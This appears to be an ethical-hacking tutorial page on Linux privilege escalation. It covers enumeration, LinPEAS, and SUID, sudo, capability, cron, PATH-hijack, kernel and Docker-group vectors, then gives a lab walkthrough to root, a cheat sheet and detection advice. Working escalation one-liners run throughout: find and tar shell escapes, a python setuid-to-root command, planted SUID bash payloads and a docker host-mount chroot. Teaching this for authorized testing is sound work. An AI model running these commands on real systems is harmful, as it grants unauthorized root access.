GO KALI FREE
IntermediateEthical Hacking

Linux Privilege Escalation: Complete Guide from Enumeration to Root

Linux privilege escalation from enumeration to root: LinPEAS, SUID, sudo, capabilities, cron and kernel checks — with a worked lab example and cheat sheet.

#linux privilege escalation#how to escalate privileges in linux#linpeas#linux privesc cheat sheet#suid privilege escalation#sudo privilege escalation#linux enumeration#gtfobins

What Is Linux Privilege Escalation?

Linux privilege escalation is the process of gaining higher-level access on a Linux system than you currently have — usually going from an unprivileged user account to root. After an attacker gets an initial low-privilege shell, privilege escalation is the step that turns limited access into full control of the machine.

Privilege escalation matters because a low-privilege shell is often nearly useless on its own: you can read some files and run some commands, but you cannot read other users' data, install software, change system configuration, or pivot to the rest of the network. Root can do all of that. That is why every penetration test, Capture The Flag machine, and HackTheBox or TryHackMe lab treats privilege escalation as a core skill, and why OSCP candidates spend so much time practising it.

This guide covers the full path from enumeration to root: the manual checks, the automated tools (LinPEAS and friends), each major escalation vector with working commands, a complete worked example in a lab, and the cheat sheet you will actually use on a test.

How Linux Privilege Escalation Works

Privilege escalation follows a repeatable five-phase flow. Learn the flow once and every machine becomes the same exercise:

  • Enumerate. Gather information about the system: who you are, what you can run as sudo, which SUID binaries exist, what capabilities are set, which cron jobs run, and what kernel version is installed.
  • Identify a vector. Match what you found against known escalation techniques — a SUID binary listed on GTFOBins, a sudo rule that allows a dangerous command, a writable cron script, a vulnerable kernel.
  • Verify. Check the vector is real before you act: confirm the binary is actually SUID, confirm the cron job actually runs as root, confirm the kernel version actually matches the exploit.
  • Exploit. Run the escalation — a GTFOBins one-liner, a crafted sudo command, a malicious script in a writable cron path.
  • Confirm and clean up. Verify you are root with id, capture the proof you need (a flag, a screenshot), and remove any files you created so the next tester starts from a clean machine.
  • Most beginners fail at phase 1: they run an exploit before enumerating, or they enumerate with one tool and stop. The escalation is almost always visible in the enumeration output — the skill is reading it.

    Common vectorWhere it shows upTool that finds it
    SUID binaryfind / -perm -4000LinPEAS, manual find
    Sudo misconfigurationsudo -lLinPEAS, manual check
    Linux capabilitiesgetcap -r /LinPEAS, manual check
    Writable cron script/etc/crontab, crontab -lLinPEAS, pspy
    PATH hijackingecho $PATH + writable directoryManual check
    Kernel vulnerabilityuname -aLinPEAS, searchsploit
    Docker group membershipid shows docker groupManual check
    NFS no_root_squashshowmount -eManual check

    Linux Privilege Escalation Enumeration: Where to Start

    Enumeration is the whole game. Run these checks first, before you touch any exploit. They take two minutes and they find most escalations.

    # Who are you, and what groups are you in?
    id
    whoami
    
    # What can you run as sudo without (or with) a password?
    sudo -l
    
    # What SUID binaries exist?
    find / -perm -4000 -type f 2>/dev/null
    
    # What capabilities are set?
    getcap -r / 2>/dev/null
    
    # What is the kernel and distribution?
    uname -a
    cat /etc/os-release
    
    # What cron jobs and timers exist?
    crontab -l
    cat /etc/crontab
    ls -la /etc/cron*
    systemctl list-timers --all
    
    # What is in your PATH, and is any directory writable?
    echo $PATH
    ls -ld $(echo $PATH | tr ':' ' ')
    
    # What files can you write that you should not be able to?
    find / -writable -type f 2>/dev/null | grep -v proc | head -50
    
    # What is running, and what is listening?
    ps aux
    ss -tulpn
    
    # What history and environment files exist?
    cat ~/.bash_history
    env
    

    Work through the output line by line. A SUID binary you do not recognize, a sudo rule for a text editor, a cron job pointing at a world-writable script, a kernel from 2021 — each one is a lead. Write the leads down, then work them one at a time.

    LinPEAS: Automated Enumeration

    LinPEAS (Linux Privilege Escalation Awesome Script) automates the manual checklist above and highlights the findings most likely to lead to root. It is the single most-used privilege-escalation tool in labs and exams, and it belongs in every enumeration workflow.

    # Download LinPEAS from the official PEASS-ng repository
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
    
    # Or clone the whole repository
    git clone https://github.com/peass-ng/PEASS-ng
    
    # Make it executable and run it
    chmod +x linpeas.sh
    ./linpeas.sh
    

    LinPEAS prints a long report. The color coding is the point: red highlights are the findings most likely to be exploitable, yellow highlights are worth a look, and the rest is context. Read the red and yellow sections first — do not scroll past them looking for an exploit to copy.

    Typical LinPEAS findings and what to do with them:

  • Interesting SUID files. LinPEAS lists every SUID binary and flags the unusual ones. Take each flagged binary to GTFOBins and check whether it has a SUID abuse entry.
  • Sudo rights. LinPEAS shows your sudo -l output and flags rules that allow shells, editors, or file operations. Check each allowed command on GTFOBins.
  • Writable files and directories. LinPEAS flags writable files in sensitive locations — cron scripts, service files, and files in root's PATH.
  • Kernel version and known exploits. LinPEAS prints the kernel version and matches it against known privilege-escalation CVEs. A match is a lead, not a guarantee: confirm the exact version before you run anything.
  • Cron jobs and systemd timers. LinPEAS lists jobs that run as root and flags any whose target file you can write.
  • Two warnings. First, LinPEAS output is noisy: a long report does not mean the machine is full of holes — most findings are informational. Second, never run a script you downloaded without checking where it came from. Download LinPEAS only from the official peass-ng/PEASS-ng repository, and verify the file before you run it on a machine you care about.

    Other automated enumerators worth knowing: linux-smart-enumeration (a smaller, quieter script) and pspy, which watches running processes without root — useful when you suspect a cron job but cannot see it in the crontab.

    SUID Binaries

    A SUID (Set User ID) binary runs with the privileges of its owner, not the user who launched it. Most SUID binaries are owned by root, so a SUID binary that lets you run an arbitrary command — or read an arbitrary file — is a direct path to root.

    Find them:

    find / -perm -4000 -type f 2>/dev/null
    

    Then check each one against GTFOBins (gtfobins.github.io), a curated list of Unix binaries that can be abused to bypass security restrictions. GTFOBins lists, for each binary, exactly which SUID, sudo, or capabilities abuse works.

    Three classic examples:

    # find — SUID find can spawn a shell
    find . -exec /bin/bash -p \; -quit
    
    # vim — SUID vim can spawn a shell from inside the editor
    vim -c ':shell'
    
    # nmap (old interactive mode) — SUID nmap could run commands
    nmap --interactive
    !sh
    

    The workflow is always the same: find the SUID binaries, look each unfamiliar one up on GTFOBins, and test the listed technique in the lab. Do not assume a binary is safe because it looks boring — cp, find, vim, less, awk, and tar have all been privilege-escalation vectors through their SUID entries.

    Sudo Misconfigurations

    sudo -l is the first command you run after getting a shell, and it finds more escalations than any other single check. A sudo rule that lets you run a command as root without a password is only safe if that command cannot be abused — and many common commands can.

    # List your sudo rights
    sudo -l
    
    # If a rule allows vim without a password:
    sudo vim -c ':shell'
    
    # If a rule allows find:
    sudo find . -exec /bin/bash \; -quit
    
    # If a rule allows less (or more, man, or similar pagers):
    sudo less /etc/profile
    !/bin/bash
    
    # If a rule allows tar:
    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
    
    # If a rule allows cp, you can overwrite files as root:
    sudo cp /etc/shadow /tmp/shadow.bak
    

    The pattern to look for: any sudo rule that allows an editor, a pager, a file-copy tool, a scripting language, or a command that can execute another command. GTFOBins has a sudo entry for almost every abusable binary — when sudo -l shows you a command, search GTFOBins for it before you do anything else.

    Two special cases deserve attention. NOPASSWD rules let you run the command without knowing the user's password — the most dangerous kind. And LD_PRELOAD sudo rules (where sudo preserves the LD_PRELOAD environment variable) let you load a malicious shared library into a root process — if you see env_keep+=LD_PRELOAD in the sudoers output, that is a direct vector.

    Linux Capabilities

    Linux capabilities split root's power into small pieces. A binary with a capability runs with that one piece of root power — and some capabilities are as good as root. getcap finds them:

    getcap -r / 2>/dev/null
    

    The dangerous ones to look for:

    # cap_setuid — the binary can change its user ID: instant root
    python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
    
    # cap_dac_override — the binary can read and write any file, bypassing permissions
    # (use it to read /etc/shadow or overwrite a cron script)
    
    # cap_sys_admin — broad administrative power, often enough for a container escape
    
    # cap_net_raw and cap_net_admin — packet capture and network configuration,
    # useful for sniffing credentials but not a direct root shell
    

    Check the capability against GTFOBins the same way you check SUID binaries: GTFOBins has a capabilities entry for each abusable binary. A Python binary with cap_setuid is the classic textbook example, but the same logic applies to tar, perl, ruby, and any other binary that can run code.

    Cron Jobs and Writable Scripts

    Cron jobs run on a schedule, often as root. If a cron job executes a script that you can write to, you just wait for the next run and your code executes as root.

    # List your own cron jobs and the system crontab
    crontab -l
    cat /etc/crontab
    
    # List all cron directories and timers
    ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
    systemctl list-timers --all
    
    # Check who owns each script the jobs call, and whether you can write to it
    ls -l /path/to/script.sh
    

    If you find a root cron job calling a world-writable script, the escalation is trivial:

    # Overwrite the script with a reverse shell or a SUID shell
    echo '#!/bin/bash' > /path/to/script.sh
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh
    
    # Wait for the next cron run, then use your SUID shell
    /tmp/rootbash -p
    

    If you cannot see the cron jobs — for example, the crontab files are not readable — use pspy to watch the process list and catch the job when it runs. pspy needs no root privileges and shows you the exact command line of every process that starts, including cron jobs.

    PATH Hijacking

    When a privileged script calls a program by its bare name (for example ls or backup.sh) instead of its full path, the shell searches the directories in PATH in order. If one of those directories is writable by you, you can plant a malicious program with the same name and the privileged script will run yours.

    # Print your PATH and check each directory for writability
    echo $PATH
    ls -ld $(echo $PATH | tr ':' ' ')
    
    # If /home/user/bin is writable and appears before /usr/bin, plant a fake binary
    echo '#!/bin/bash' > /home/user/bin/ls
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /home/user/bin/ls
    chmod +x /home/user/bin/ls
    
    # Now wait for a root cron job or script that calls `ls` — it runs your version
    

    PATH hijacking also works through cron: a root cron job that runs a script calling bare command names is vulnerable if any PATH directory is writable. Check both the system PATH and the PATH set inside cron scripts themselves.

    Kernel Exploits

    A vulnerable kernel is the most powerful escalation vector and the most dangerous to attempt. The workflow is strict: identify, verify, then exploit — never the other way around.

    # Identify the exact kernel and distribution
    uname -a
    cat /etc/os-release
    
    # Search for public exploits matching that exact version
    searchsploit linux kernel 5.10
    searchsploit "linux kernel" | grep -i "privilege escalation"
    

    Famous historical examples show the pattern: Dirty COW (CVE-2016-5195) exploited a race condition in copy-on-write memory handling, and DirtyPipe (CVE-2022-0847) exploited pipe buffer flags — both gave unprivileged users root. Both only worked on specific kernel versions, which is why the version check matters: running a DirtyPipe exploit against a patched kernel does nothing, and running the wrong exploit against a live system can crash it.

    Rules for kernel exploits:

  • Confirm the exact kernel version matches the exploit's target range before you run it.
  • Test in a disposable VM snapshot, never on a system you cannot rebuild.
  • Prefer a well-known, reviewed exploit (from Exploit-DB or a reputable writeup) over a random script.
  • If LinPEAS flags a kernel CVE, treat it as a lead and verify it by hand — automated matching is approximate.
  • Docker and Container Breakout

    If your user is in the docker group, you can run Docker commands — and Docker is effectively root, because a container can mount the host filesystem.

    # Check your groups
    id
    
    # If `docker` is listed, mount the host root filesystem into a container
    docker run -v /:/mnt --rm -it alpine chroot /mnt sh
    
    # Inside the container you are root on the host filesystem:
    # read /mnt/etc/shadow, write an SSH key into /mnt/root/.ssh/, or add a user
    

    The same logic applies to other container runtimes and to a writable Docker socket (/var/run/docker.sock): if you can talk to the Docker daemon, you can start a privileged container. Check ls -l /var/run/docker.sock and your group membership as part of every enumeration.

    Worked Example: From Low Shell to Root in the Lab

    This example runs entirely in a lab: a Metasploitable-style Linux VM at 192.168.56.101, attacked from your Kali machine. Every output below is illustrative — real output varies by distribution and version.

    Step 1 — Get a low-privilege shell. You have a shell as user www-data through a vulnerable web application. Confirm where you stand:

    www-data@labvm:/var/www$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Step 2 — Enumerate. Run the quick checks:

    www-data@labvm:/var/www$ sudo -l
    User www-data may run the following commands on labvm:
        (root) NOPASSWD: /usr/bin/find
    

    That is already a lead — but work the full checklist anyway, so you practice the method:

    www-data@labvm:/var/www$ find / -perm -4000 -type f 2>/dev/null
    /usr/bin/find
    /usr/bin/sudo
    /usr/bin/passwd
    /usr/bin/su
    

    Step 3 — Verify the vector. The SUID find binary and the sudo rule both point at the same binary. Check GTFOBins for find: it has both a SUID entry and a sudo entry, and both spawn a shell. The vector is confirmed.

    Step 4 — Escalate. Use the SUID binary directly:

    www-data@labvm:/var/www$ find . -exec /bin/bash -p \; -quit
    root@labvm:/var/www# id
    uid=0(root) gid=0(root) groups=0(root)
    

    The -p flag matters: it tells bash to keep its privileges instead of dropping them. Without it, bash drops the SUID privileges and you stay www-data.

    Step 5 — Confirm and clean up. Verify root, capture your proof, then remove anything you created and exit the root shell. In a lab, the flag is usually in /root/:

    root@labvm:/var/www# cat /root/flag.txt
    flag{lab-example-only}
    root@labvm:/var/www# exit
    

    Five minutes, four commands, one GTFOBins lookup. Most lab machines work like this: the enumeration shows you the vector, GTFOBins shows you the command, and the escalation itself is one line.

    Linux Privilege Escalation Cheat Sheet

    VectorEnumerate withEscalate withFix
    SUID binaryfind / -perm -4000 -type f 2>/dev/nullGTFOBins SUID entry for the binaryRemove the SUID bit: chmod u-s
    Sudo misconfigurationsudo -lGTFOBins sudo entry for the commandRestrict sudoers to least privilege
    Capabilitiesgetcap -r / 2>/dev/nullGTFOBins capabilities entryRemove the capability: setcap -r
    Writable cron scriptcat /etc/crontab, crontab -lOverwrite the script, wait for the runFix ownership and permissions
    PATH hijackingecho $PATH, check writabilityPlant a fake binary in a writable PATH directoryUse absolute paths; fix directory permissions
    Kernel vulnerabilityuname -a, searchsploitMatching public exploit (verified version)Patch the kernel
    Docker groupiddocker run -v /:/mnt --rm -it alpine chroot /mnt shRemove users from the docker group
    NFS no_root_squashshowmount -eMount the share, create a SUID binary as rootUse root_squash (the default)
    Writable /etc/passwdls -l /etc/passwdAppend a root user with openssl passwd -1Fix ownership and permissions
    Wildcard injection (tar)Check cron jobs using tar *Craft filenames that tar interprets as flagsQuote paths; use -- in scripts
    SSH keysfind / -name "id_rsa" 2>/dev/nullReuse a private key found on diskRestrict key permissions; rotate keys
    History filescat ~/.bash_historyReuse credentials found in historyDisable history for sensitive sessions
    Environment variablesenv, /proc/*/environReuse credentials in the environmentNever store secrets in environment variables
    Services running as rootps aux, ss -tulpnExploit a vulnerable serviceRun services as dedicated users
    LinPEAS./linpeas.shFollow the red and yellow findingsFix the findings it reports

    Troubleshooting Linux Privilege Escalation Problems

    ProblemLikely causeWhat to do
    LinPEAS finds nothingThe vector is unusual, or LinPEAS missed itRun the manual checklist: sudo -l, SUID find, getcap, cron, kernel
    SUID binary is not on GTFOBinsThe binary is genuinely safe, or the abuse is unknownCheck the binary's --help for shell escapes; move to the next lead
    sudo -l asks for a passwordYou do not know the user's passwordCheck history files and config files for credentials; try the password you used to get the shell
    Exploit fails or does nothingWrong kernel version, or the target is patchedRe-check uname -a against the exploit's target range; try another vector
    Root shell dies immediatelyThe binary drops privileges (missing -p on bash)Use bash -p for SUID shells; check the GTFOBins entry again
    No writable PATH directoryPATH hijacking is not available on this machineMove on — check cron, capabilities, and the kernel instead
    Docker socket absentNo container escape on this machineCheck id for the docker group and ls -l /var/run/docker.sock anyway
    LinPEAS output is too noisyThe report is hundreds of linesSearch for the red and yellow sections first; grep for sudo, SUID, and writable

    Common Mistakes

  • Running exploits before enumerating. Enumeration finds the vector; exploits only work when they match one. Enumerate first, every time.
  • Trusting LinPEAS alone. LinPEAS is a checklist, not an oracle. It misses vectors and flags harmless findings. Always run the manual checks too.
  • Ignoring cron. A cron job you cannot see in the crontab still runs. Use pspy to watch for it.
  • Forgetting the -p flag. A SUID bash without -p drops its privileges and leaves you unprivileged. Always use bash -p.
  • Skipping GTFOBins. Guessing how to abuse a binary wastes time. GTFOBins lists the exact command for SUID, sudo, and capabilities abuse.
  • Testing without permission. Privilege escalation against a system you do not own or have written authorization to test is illegal. Labs, CTFs, and authorized assessments only.
  • Not cleaning up. Files you create (SUID shells, cron payloads, modified scripts) persist after you leave. Remove them so the next tester starts clean.
  • Detection and Defense

    Privilege escalation leaves traces, and defenders look for exactly the patterns in this guide:

  • Sudo logs. Every sudo invocation is logged, usually in /var/log/auth.log. Unusual sudo commands — editors, pagers, and file tools run as root — stand out.
  • Cron logs. Cron executions are logged. A script that suddenly changes, or a new cron job, is visible in the logs and in file-integrity monitoring.
  • Auditd. Linux Audit can record every execution of SUID binaries, every setuid call, and every write to sensitive files. A rule watching /etc/passwd, /etc/shadow, and cron directories catches most of the vectors in this guide.
  • File integrity monitoring. Tools such as Wazuh and OSSEC alert when a SUID binary changes, a cron script is modified, or a new SUID shell appears in /tmp.
  • Hardening fixes. Remove unnecessary SUID bits, apply least privilege in sudoers, strip unneeded capabilities, keep kernels patched, never run cron scripts from world-writable locations, and keep users out of the docker group unless they genuinely need it.
  • Linux Privilege Escalation vs Windows Privilege Escalation

    LinuxWindows
    Most common vectorSUID binaries and sudo misconfigurationsUnquoted service paths, weak service permissions
    Enumeration toolLinPEASWinPEAS, PrivescCheck
    Reference for binary abuseGTFOBinsLOLBAS
    Kernel exploitsDirty COW, DirtyPipe (version-specific)PrintNightmare, kernel CVEs (version-specific)
    Container escapeDocker group / socketDocker Desktop, privileged containers
    First commandsid, sudo -l, find / -perm -4000whoami /priv, sc qc, accesschk

    The method is the same on both systems — enumerate, identify, verify, exploit — only the commands and the reference lists change.

    Conclusion

    Linux privilege escalation is a method, not a bag of tricks. Enumerate the system with the manual checklist and LinPEAS, match what you find against GTFOBins, verify the vector, and escalate with one tested command. The worked example shows the whole flow in five minutes; the cheat sheet is what you keep open while you practice. Work through lab machines on HackTheBox and TryHackMe until the checklist is muscle memory — then the escalation on a real assessment is the easy part.

    Knowledge Check

  • What is the first command you should run after getting a low-privilege shell, and why?
  • What does LinPEAS do, and which colors in its output should you read first?
  • How do you find SUID binaries, and where do you look up how to abuse one?
  • What makes a sudo rule dangerous, and what does NOPASSWD change?
  • Which Linux capability lets a binary change its user ID, and what command abuses it?
  • How does a writable cron script lead to root?
  • What is PATH hijacking, and when does it work?
  • Why must you verify the exact kernel version before running a kernel exploit?
  • Answers: 1. sudo -l — it shows what you can run as root and finds more escalations than any other single check; 2. LinPEAS automates privilege-escalation enumeration and highlights likely vectors — read the red findings first, then yellow; 3. find / -perm -4000 -type f 2>/dev/null, then look the binary up on GTFOBins; 4. A rule that allows an editor, pager, file tool, or any command that can execute another command — NOPASSWD means no password is needed, which makes it worse; 5. cap_setuid — abused with python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'; 6. The cron job runs the script as root on schedule, so overwriting the script runs your code as root; 7. A privileged script calls a program by bare name and the shell searches PATH — if a PATH directory is writable, you plant a malicious program with the same name; 8. Kernel exploits only work on specific versions — the wrong version does nothing or crashes the system.

    Keep Learning

  • Reverse Shell Guide
  • Metasploit Fundamentals
  • Netcat Guide
  • Cloud Penetration Testing Guide
  • Command Injection
  • Reverse Engineering Guide
  • Docker Security Best Practices: How to Secure Docker Containers and Images
  • Windows Privilege Escalation Guide
  • LinPEAS
  • SearchSploit
  • Nmap
  • Metasploit Framework
  • Frequently Asked Questions

    What is Linux privilege escalation?

    Linux privilege escalation is the process of gaining higher-level access on a Linux system than you currently have, usually going from an unprivileged user account to root. It is the step after initial access in a penetration test: enumeration reveals a weakness such as a SUID binary, a sudo misconfiguration, or a writable cron script, and the escalation turns that weakness into full control of the machine.

    How do I escalate privileges in Linux?

    Follow the five-phase flow: enumerate with id, sudo -l, find for SUID binaries, getcap, and cron checks; identify a vector such as a GTFOBins-listed binary or a sudo rule; verify the vector is real; exploit it with the tested command; then confirm with id and clean up. Automated enumeration with LinPEAS speeds up the first phase, but the manual checks still matter.

    What is LinPEAS?

    LinPEAS (Linux Privilege Escalation Awesome Script) is an enumeration script from the PEASS-ng project that scans a Linux system for privilege-escalation vectors and highlights the most promising findings in red and yellow. Download it only from the official peass-ng/PEASS-ng repository, make it executable, and run it after you get a low-privilege shell.

    Is Linux privilege escalation legal?

    Privilege escalation is legal only on systems you own or have written authorization to test, such as your own lab virtual machines, HackTheBox and TryHackMe machines, and authorized penetration tests. Running these techniques against any other system without permission is illegal.

    How long does it take to learn Linux privilege escalation?

    The core method takes a few weeks of regular lab practice to learn: enumeration commands, LinPEAS, GTFOBins, and the common vectors (SUID, sudo, capabilities, cron, kernel). Most learners work through 10 to 20 HackTheBox or TryHackMe machines before the checklist becomes routine.

    What are SUID binaries?

    A SUID (Set User ID) binary runs with the privileges of its owner rather than the user who launched it. Most SUID binaries are owned by root, so a SUID binary that can run an arbitrary command or read an arbitrary file is a direct path to root. Find them with find / -perm -4000 -type f 2>/dev/null and check each one on GTFOBins.

    How do I find SUID binaries in Linux?

    Run find / -perm -4000 -type f 2>/dev/null, which lists every file with the SUID bit set. Compare the results against a list of standard system binaries and investigate anything unfamiliar on GTFOBins, which documents how each binary can be abused through its SUID, sudo, or capabilities entry.

    What is GTFOBins?

    GTFOBins is a curated reference (gtfobins.github.io) of Unix binaries that can be abused to bypass security restrictions. For each binary it lists the exact commands for SUID abuse, sudo abuse, capabilities abuse, file read, file write, and other techniques. It is the first place to check after you find an interesting SUID binary or sudo rule.

    Can privilege escalation be detected?

    Yes. Sudo invocations are logged in /var/log/auth.log, cron executions are logged, and auditd can record SUID binary execution and writes to sensitive files. File-integrity monitoring tools such as Wazuh alert when cron scripts change or new SUID shells appear. Defenders look for exactly the patterns in this guide.

    Do I need root to run LinPEAS?

    No. LinPEAS is designed to run as an unprivileged user — that is the whole point. It enumerates what a low-privilege user can see and flags the findings that could lead to root. Some checks report more detail when run as root, but the privilege-escalation findings are visible from a low-privilege shell.

    What is the first thing to check after getting a shell?

    Run sudo -l first. It shows what you can run as root and finds more escalations than any other single check. Then run id, the SUID find, getcap, and the cron checks, and run LinPEAS for the automated pass.

    What is the difference between Linux and Windows privilege escalation?

    The method is the same — enumerate, identify, verify, exploit — but the vectors differ. Linux escalations usually come from SUID binaries, sudo misconfigurations, capabilities, cron jobs, and kernel bugs, checked with LinPEAS and GTFOBins. Windows escalations usually come from unquoted service paths, weak service permissions, and stored credentials, checked with WinPEAS and the LOLBAS reference.

    Continue Learning

    Ethical Hacking · Intermediate

    Windows Privilege Escalation Cheat Sheet: How to Escalate Privileges in Windows

    Windows privilege escalation cheat sheet: WinPEAS, unquoted service paths, AlwaysInstallElevated and Potato attacks — with a worked lab example.

    Ethical Hacking · Intermediate

    Docker Security Best Practices: How to Secure Docker Containers and Images

    Secure your Docker containers step by step: hardened images, Trivy scanning, secrets, runtime limits and daemon hardening — with a worked Flask example.

    Ethical Hacking · Intermediate

    Cloud Penetration Testing: Complete Guide to AWS, Azure and GCP Security Testing

    Cloud penetration testing for AWS, Azure, and GCP: the 6-phase methodology, IAM analysis, chained attack paths, and tools — with a worked lab example.

    Ethical Hacking · Intermediate

    Malware Analysis: Beginner's Guide to Static & Dynamic Analysis in Kali Linux

    Learn malware analysis from scratch: build a safe isolated lab, triage samples with static and dynamic analysis, write YARA rules, and report IOCs.

    Related Security Tools

    Post Exploitation

    LinPEAS

    LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.

    Maintaining Access

    pwncat

    pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.

    Information Gathering

    theHarvester

    Learn how to use theHarvester in Kali Linux: gather emails, subdomains, employee names, open ports, and banners from public sources with a step-by-step first scan, API keys, and worked examples for authorized OSINT recon.

    Information Gathering

    Wazuh

    Wazuh is a free, open-source security platform combining SIEM and XDR capabilities for endpoints and cloud workloads. Its architecture uses a universal endpoint agent plus the Wazuh server, OpenSearch-based Wazuh indexer and OpenSearch Dashboards-based Wazuh dashboard, with Filebeat sending alerts from the server to the indexer. Kali Linux has no Wazuh package: install only the agent through the official Wazuh APT repository on Kali, and run the manager, indexer and dashboard on a supported 64-bit Linux host such as Ubuntu 22.04 or 24.04.

    Written by GO KALI FREE Team